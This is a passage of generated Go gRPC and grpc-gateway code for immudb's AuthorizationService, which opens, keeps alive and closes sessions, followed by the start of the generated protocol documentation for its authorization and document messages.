immudb.model.CloseSessionRequest (*CloseSessionResponse)(nil), // 5: immudb.model.CloseSessionResponse } var file_authorization_proto_depIdxs = []int32{ 0, // 0: immudb.model.AuthorizationService.OpenSession:input_type -> immudb.model.OpenSessionRequest 2, // 1: immudb.model.AuthorizationService.KeepAlive:input_type -> immudb.model.KeepAliveRequest 4, // 2: immudb.model.AuthorizationService.CloseSession:input_type -> immudb.model.CloseSessionRequest 1, // 3: immudb.model.AuthorizationService.OpenSession:output_type -> immudb.model.OpenSessionResponse 3, // 4: immudb.model.AuthorizationService.KeepAlive:output_type -> immudb.model.KeepAliveResponse 5, // 5: immudb.model.AuthorizationService.CloseSession:output_type -> immudb.model.CloseSessionResponse 3, // [3:6] is the sub-list for method output_type 0, // [0:3] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name } func init() { file_authorization_proto_init() } func file_authorization_proto_init() { if File_authorization_proto != nil { return } if !protoimpl.UnsafeEnabled { file_authorization_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OpenSessionRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_authorization_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OpenSessionResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_authorization_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KeepAliveRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_authorization_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KeepAliveResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_authorization_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CloseSessionRequest); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } file_authorization_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CloseSessionResponse); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_authorization_proto_rawDesc, NumEnums: 0, NumMessages: 6, NumExtensions: 0, NumServices: 1, }, GoTypes: file_authorization_proto_goTypes, DependencyIndexes: file_authorization_proto_depIdxs, MessageInfos: file_authorization_proto_msgTypes, }.Build() File_authorization_proto = out.File file_authorization_proto_rawDesc = nil file_authorization_proto_goTypes = nil file_authorization_proto_depIdxs = nil } ================================================ FILE: pkg/api/protomodel/authorization.pb.gw.go ================================================ // Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. // source: authorization.proto /* Package protomodel is a reverse proxy. It translates gRPC into RESTful JSON APIs. */ package protomodel import ( "context" "io" "net/http" "github.com/golang/protobuf/descriptor" "github.com/golang/protobuf/proto" "github.com/grpc-ecosystem/grpc-gateway/runtime" "github.com/grpc-ecosystem/grpc-gateway/utilities" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/grpclog" "google.golang.org/grpc/metadata" "google.golang.org/grpc/status" ) // Suppress "imported and not used" errors var _ codes.Code var _ io.Reader var _ status.Status var _ = runtime.String var _ = utilities.NewDoubleArray var _ = descriptor.ForMessage var _ = metadata.Join func request_AuthorizationService_OpenSession_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq OpenSessionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.OpenSession(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_AuthorizationService_OpenSession_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq OpenSessionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.OpenSession(ctx, &protoReq) return msg, metadata, err } func request_AuthorizationService_KeepAlive_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq KeepAliveRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.KeepAlive(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_AuthorizationService_KeepAlive_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq KeepAliveRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.KeepAlive(ctx, &protoReq) return msg, metadata, err } func request_AuthorizationService_CloseSession_0(ctx context.Context, marshaler runtime.Marshaler, client AuthorizationServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CloseSessionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := client.CloseSession(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) return msg, metadata, err } func local_request_AuthorizationService_CloseSession_0(ctx context.Context, marshaler runtime.Marshaler, server AuthorizationServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CloseSessionRequest var metadata runtime.ServerMetadata newReader, berr := utilities.IOReaderFactory(req.Body) if berr != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) } if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } msg, err := server.CloseSession(ctx, &protoReq) return msg, metadata, err } // RegisterAuthorizationServiceHandlerServer registers the http handlers for service AuthorizationService to "mux". // UnaryRPC :call AuthorizationServiceServer directly. // StreamingRPC :currently unsupported pending https://github.com/grpc/grpc-go/issues/906. // Note that using this registration option will cause many gRPC library features to stop working. Consider using RegisterAuthorizationServiceHandlerFromEndpoint instead. func RegisterAuthorizationServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux, server AuthorizationServiceServer) error { mux.Handle("POST", pattern_AuthorizationService_OpenSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_AuthorizationService_OpenSession_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_AuthorizationService_OpenSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_AuthorizationService_KeepAlive_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_AuthorizationService_KeepAlive_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_AuthorizationService_KeepAlive_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_AuthorizationService_CloseSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() var stream runtime.ServerTransportStream ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := local_request_AuthorizationService_CloseSession_0(rctx, inboundMarshaler, server, req, pathParams) md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_AuthorizationService_CloseSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) return nil } // RegisterAuthorizationServiceHandlerFromEndpoint is same as RegisterAuthorizationServiceHandler but // automatically dials to "endpoint" and closes the connection when "ctx" gets done. func RegisterAuthorizationServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) { conn, err := grpc.Dial(endpoint, opts...) if err != nil { return err } defer func() { if err != nil { if cerr := conn.Close(); cerr != nil { grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) } return } go func() { <-ctx.Done() if cerr := conn.Close(); cerr != nil { grpclog.Infof("Failed to close conn to %s: %v", endpoint, cerr) } }() }() return RegisterAuthorizationServiceHandler(ctx, mux, conn) } // RegisterAuthorizationServiceHandler registers the http handlers for service AuthorizationService to "mux". // The handlers forward requests to the grpc endpoint over "conn". func RegisterAuthorizationServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error { return RegisterAuthorizationServiceHandlerClient(ctx, mux, NewAuthorizationServiceClient(conn)) } // RegisterAuthorizationServiceHandlerClient registers the http handlers for service AuthorizationService // to "mux". The handlers forward requests to the grpc endpoint over the given implementation of "AuthorizationServiceClient". // Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in "AuthorizationServiceClient" // doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in // "AuthorizationServiceClient" to call the correct interceptors. func RegisterAuthorizationServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client AuthorizationServiceClient) error { mux.Handle("POST", pattern_AuthorizationService_OpenSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_AuthorizationService_OpenSession_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_AuthorizationService_OpenSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_AuthorizationService_KeepAlive_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_AuthorizationService_KeepAlive_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_AuthorizationService_KeepAlive_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) mux.Handle("POST", pattern_AuthorizationService_CloseSession_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) rctx, err := runtime.AnnotateContext(ctx, mux, req) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } resp, md, err := request_AuthorizationService_CloseSession_0(rctx, inboundMarshaler, client, req, pathParams) ctx = runtime.NewServerMetadataContext(ctx, md) if err != nil { runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) return } forward_AuthorizationService_CloseSession_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) }) return nil } var ( pattern_AuthorizationService_OpenSession_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"authorization", "session", "open"}, "", runtime.AssumeColonVerbOpt(true))) pattern_AuthorizationService_KeepAlive_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"authorization", "session", "keepalive"}, "", runtime.AssumeColonVerbOpt(true))) pattern_AuthorizationService_CloseSession_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"authorization", "session", "close"}, "", runtime.AssumeColonVerbOpt(true))) ) var ( forward_AuthorizationService_OpenSession_0 = runtime.ForwardResponseMessage forward_AuthorizationService_KeepAlive_0 = runtime.ForwardResponseMessage forward_AuthorizationService_CloseSession_0 = runtime.ForwardResponseMessage ) ================================================ FILE: pkg/api/protomodel/authorization_grpc.pb.go ================================================ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. package protomodel import ( context "context" grpc "google.golang.org/grpc" codes "google.golang.org/grpc/codes" status "google.golang.org/grpc/status" ) // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. // Requires gRPC-Go v1.32.0 or later. const _ = grpc.SupportPackageIsVersion7 // AuthorizationServiceClient is the client API for AuthorizationService service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. type AuthorizationServiceClient interface { OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) KeepAlive(ctx context.Context, in *KeepAliveRequest, opts ...grpc.CallOption) (*KeepAliveResponse, error) CloseSession(ctx context.Context, in *CloseSessionRequest, opts ...grpc.CallOption) (*CloseSessionResponse, error) } type authorizationServiceClient struct { cc grpc.ClientConnInterface } func NewAuthorizationServiceClient(cc grpc.ClientConnInterface) AuthorizationServiceClient { return &authorizationServiceClient{cc} } func (c *authorizationServiceClient) OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) { out := new(OpenSessionResponse) err := c.cc.Invoke(ctx, "/immudb.model.AuthorizationService/OpenSession", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *authorizationServiceClient) KeepAlive(ctx context.Context, in *KeepAliveRequest, opts ...grpc.CallOption) (*KeepAliveResponse, error) { out := new(KeepAliveResponse) err := c.cc.Invoke(ctx, "/immudb.model.AuthorizationService/KeepAlive", in, out, opts...) if err != nil { return nil, err } return out, nil } func (c *authorizationServiceClient) CloseSession(ctx context.Context, in *CloseSessionRequest, opts ...grpc.CallOption) (*CloseSessionResponse, error) { out := new(CloseSessionResponse) err := c.cc.Invoke(ctx, "/immudb.model.AuthorizationService/CloseSession", in, out, opts...) if err != nil { return nil, err } return out, nil } // AuthorizationServiceServer is the server API for AuthorizationService service. // All implementations should embed UnimplementedAuthorizationServiceServer // for forward compatibility type AuthorizationServiceServer interface { OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) KeepAlive(context.Context, *KeepAliveRequest) (*KeepAliveResponse, error) CloseSession(context.Context, *CloseSessionRequest) (*CloseSessionResponse, error) } // UnimplementedAuthorizationServiceServer should be embedded to have forward compatible implementations. type UnimplementedAuthorizationServiceServer struct { } func (UnimplementedAuthorizationServiceServer) OpenSession(context.Context, *OpenSessionRequest) (*OpenSessionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented") } func (UnimplementedAuthorizationServiceServer) KeepAlive(context.Context, *KeepAliveRequest) (*KeepAliveResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method KeepAlive not implemented") } func (UnimplementedAuthorizationServiceServer) CloseSession(context.Context, *CloseSessionRequest) (*CloseSessionResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CloseSession not implemented") } // UnsafeAuthorizationServiceServer may be embedded to opt out of forward compatibility for this service. // Use of this interface is not recommended, as added methods to AuthorizationServiceServer will // result in compilation errors. type UnsafeAuthorizationServiceServer interface { mustEmbedUnimplementedAuthorizationServiceServer() } func RegisterAuthorizationServiceServer(s grpc.ServiceRegistrar, srv AuthorizationServiceServer) { s.RegisterService(&AuthorizationService_ServiceDesc, srv) } func _AuthorizationService_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(OpenSessionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(AuthorizationServiceServer).OpenSession(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.AuthorizationService/OpenSession", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(AuthorizationServiceServer).OpenSession(ctx, req.(*OpenSessionRequest)) } return interceptor(ctx, in, info, handler) } func _AuthorizationService_KeepAlive_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(KeepAliveRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(AuthorizationServiceServer).KeepAlive(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.AuthorizationService/KeepAlive", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(AuthorizationServiceServer).KeepAlive(ctx, req.(*KeepAliveRequest)) } return interceptor(ctx, in, info, handler) } func _AuthorizationService_CloseSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CloseSessionRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { return srv.(AuthorizationServiceServer).CloseSession(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, FullMethod: "/immudb.model.AuthorizationService/CloseSession", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(AuthorizationServiceServer).CloseSession(ctx, req.(*CloseSessionRequest)) } return interceptor(ctx, in, info, handler) } // AuthorizationService_ServiceDesc is the grpc.ServiceDesc for AuthorizationService service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) var AuthorizationService_ServiceDesc = grpc.ServiceDesc{ ServiceName: "immudb.model.AuthorizationService", HandlerType: (*AuthorizationServiceServer)(nil), Methods: []grpc.MethodDesc{ { MethodName: "OpenSession", Handler: _AuthorizationService_OpenSession_Handler, }, { MethodName: "KeepAlive", Handler: _AuthorizationService_KeepAlive_Handler, }, { MethodName: "CloseSession", Handler: _AuthorizationService_CloseSession_Handler, }, }, Streams: []grpc.StreamDesc{}, Metadata: "authorization.proto", } ================================================ FILE: pkg/api/protomodel/docs.md ================================================ # Protocol Documentation ## Table of Contents - [authorization.proto](#authorization.proto) - [CloseSessionRequest](#immudb.model.CloseSessionRequest) - [CloseSessionResponse](#immudb.model.CloseSessionResponse) - [KeepAliveRequest](#immudb.model.KeepAliveRequest) - [KeepAliveResponse](#immudb.model.KeepAliveResponse) - [OpenSessionRequest](#immudb.model.OpenSessionRequest) - [OpenSessionResponse](#immudb.model.OpenSessionResponse) - [AuthorizationService](#immudb.model.AuthorizationService) - [documents.proto](#documents.proto) - [AddFieldRequest](#immudb.model.AddFieldRequest) - [AddFieldResponse](#immudb.model.AddFieldResponse) - [AuditDocumentRequest](#immudb.model.AuditDocumentRequest) - [AuditDocumentResponse](#immudb.model.AuditDocumentResponse) - [Collection](#immudb.model.Collection) - [CountDocumentsRequest](#immudb.model.CountDocumentsRequest) - [CountDocumentsResponse](#immudb.model.CountDocumentsResponse) - [CreateCollectionRequest](#immudb.model.CreateCollectionRequest) - [CreateCollectionResponse](#immudb.model.CreateCollectionResponse) - [CreateIndexRequest](#immudb.model.CreateIndexRequest) - [CreateIndexResponse](#immudb.model.CreateIndexResponse) - [DeleteCollectionRequest](#immudb.model.DeleteCollectionRequest) - [DeleteCollectionResponse](#immudb.model.DeleteCollectionResponse) - [DeleteDocumentsRequest](#immudb.model.DeleteDocumentsRequest) - [DeleteDocumentsResponse](#immudb.model.DeleteDocumentsResponse) - [DeleteIndexRequest](#immudb.model.DeleteIndexRequest) - [DeleteIndexResponse](#immudb.model.DeleteIndexResponse) - [DocumentAtRevision](#immudb.model.DocumentAtRevision) - [DocumentMetadata](#immudb.model.DocumentMetadata) - [Field](#immudb.model.Field) - [FieldComparison](#immudb.model.FieldComparison) - [GetCollectionRequest](#immudb.model.GetCollectionRequest) - [GetCollectionResponse](#immudb.model.GetCollectionResponse) - [GetCollectionsRequest](#immudb.model.GetCollectionsRequest) - [GetCollectionsResponse](#immudb.model.GetCollectionsResponse) - [Index](#immudb.model.Index) - [InsertDocumentsRequest](#immudb.model.InsertDocumentsRequest) - [InsertDocumentsResponse](#immudb.model.InsertDocumentsResponse) - [OrderByClause](#immudb.model.OrderByClause) - [ProofDocumentRequest](#immudb.model.ProofDocumentRequest) - [ProofDocumentResponse](#immudb.model.ProofDocumentResponse) - [Query](#immudb.model.Query) - [QueryExpression](#immudb.model.QueryExpression) - [RemoveFieldRequest](#immudb.model.RemoveFieldRequest) - [RemoveFieldResponse](#immudb.model.RemoveFieldResponse) - [ReplaceDocumentsRequest](#immudb.model.ReplaceDocumentsRequest) - [ReplaceDocumentsResponse](#immudb.model.ReplaceDocumentsResponse) - [SearchDocumentsRequest](#immudb.model.SearchDocumentsRequest) - [SearchDocumentsResponse](#immudb.model.SearchDocumentsResponse) - [UpdateCollectionRequest](#immudb.model.UpdateCollectionRequest) - [UpdateCollectionResponse](#immudb.model.UpdateCollectionResponse) - [ComparisonOperator](#immudb.model.ComparisonOperator) - [FieldType](#immudb.model.FieldType) - [DocumentService](#immudb.model.DocumentService) - [Scalar Value Types](#scalar-value-types)

Top

## authorization.proto ### CloseSessionRequest ### CloseSessionResponse ### KeepAliveRequest ### KeepAliveResponse ### OpenSessionRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | username | [string](#string) | | | | password | [string](#string) | | | | database | [string](#string) | | | ### OpenSessionResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | sessionID | [string](#string) | | | | serverUUID | [string](#string) | | | | expirationTimestamp | [int32](#int32) | | | | inactivityTimestamp | [int32](#int32) | | | ### AuthorizationService | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| | OpenSession | [OpenSessionRequest](#immudb.model.OpenSessionRequest) | [OpenSessionResponse](#immudb.model.OpenSessionResponse) | | | KeepAlive | [KeepAliveRequest](#immudb.model.KeepAliveRequest) | [KeepAliveResponse](#immudb.model.KeepAliveResponse) | | | CloseSession | [CloseSessionRequest](#immudb.model.CloseSessionRequest) | [CloseSessionResponse](#immudb.model.CloseSessionResponse) | |

Top

## documents.proto ### AddFieldRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collectionName | [string](#string) | | | | field | [Field](#immudb.model.Field) | | | ### AddFieldResponse ### AuditDocumentRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collectionName | [string](#string) | | | | documentId | [string](#string) | | | | desc | [bool](#bool) | | | | page | [uint32](#uint32) | | | | pageSize | [uint32](#uint32) | | | | omitPayload | [bool](#bool) | | | ### AuditDocumentResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | revisions | [DocumentAtRevision](#immudb.model.DocumentAtRevision) | repeated | | ### Collection | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | documentIdFieldName | [string](#string) | | | | fields | [Field](#immudb.model.Field) | repeated | | | indexes | [Index](#immudb.model.Index) | repeated | | ### CountDocumentsRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | query | [Query](#immudb.model.Query) | | | ### CountDocumentsResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | count | [int64](#int64) | | | ### CreateCollectionRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | documentIdFieldName | [string](#string) | | | | fields | [Field](#immudb.model.Field) | repeated | | | indexes | [Index](#immudb.model.Index) | repeated | | ### CreateCollectionResponse ### CreateIndexRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collectionName | [string](#string) | | | | fields | [string](#string) | repeated | | | isUnique | [bool](#bool) | | | ### CreateIndexResponse ### DeleteCollectionRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | ### DeleteCollectionResponse ### DeleteDocumentsRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | query | [Query](#immudb.model.Query) | | | ### DeleteDocumentsResponse ### DeleteIndexRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collectionName | [string](#string) | | | | fields | [string](#string) | repeated | | ### DeleteIndexResponse ### DocumentAtRevision | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | transactionId | [uint64](#uint64) | | | | documentId | [string](#string) | | | | revision | [uint64](#uint64) | | | | metadata | [DocumentMetadata](#immudb.model.DocumentMetadata) | | | | document | [google.protobuf.Struct](#google.protobuf.Struct) | | | | username | [string](#string) | | | | ts | [int64](#int64) | | | ### DocumentMetadata | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | deleted | [bool](#bool) | | | ### Field | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | | type | [FieldType](#immudb.model.FieldType) | | | ### FieldComparison | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | field | [string](#string) | | | | operator | [ComparisonOperator](#immudb.model.ComparisonOperator) | | | | value | [google.protobuf.Value](#google.protobuf.Value) | | | ### GetCollectionRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | | ### GetCollectionResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collection | [Collection](#immudb.model.Collection) | | | ### GetCollectionsRequest ### GetCollectionsResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collections | [Collection](#immudb.model.Collection) | repeated | | ### Index | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | fields | [string](#string) | repeated | | | isUnique | [bool](#bool) | | | ### InsertDocumentsRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collectionName | [string](#string) | | | | documents | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | ### InsertDocumentsResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | transactionId | [uint64](#uint64) | | | | documentIds | [string](#string) | repeated | | ### OrderByClause | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | field | [string](#string) | | | | desc | [bool](#bool) | | | ### ProofDocumentRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collectionName | [string](#string) | | | | documentId | [string](#string) | | | | transactionId | [uint64](#uint64) | | | | proofSinceTransactionId | [uint64](#uint64) | | | ### ProofDocumentResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | | | collectionId | [uint32](#uint32) | | | | documentIdFieldName | [string](#string) | | | | encodedDocument | [bytes](#bytes) | | | | verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | ### Query | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | collectionName | [string](#string) | | | | expressions | [QueryExpression](#immudb.model.QueryExpression) | repeated | | | orderBy | [OrderByClause](#immudb.model.OrderByClause) | repeated | | | limit | [uint32](#uint32) | | | ### QueryExpression | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | 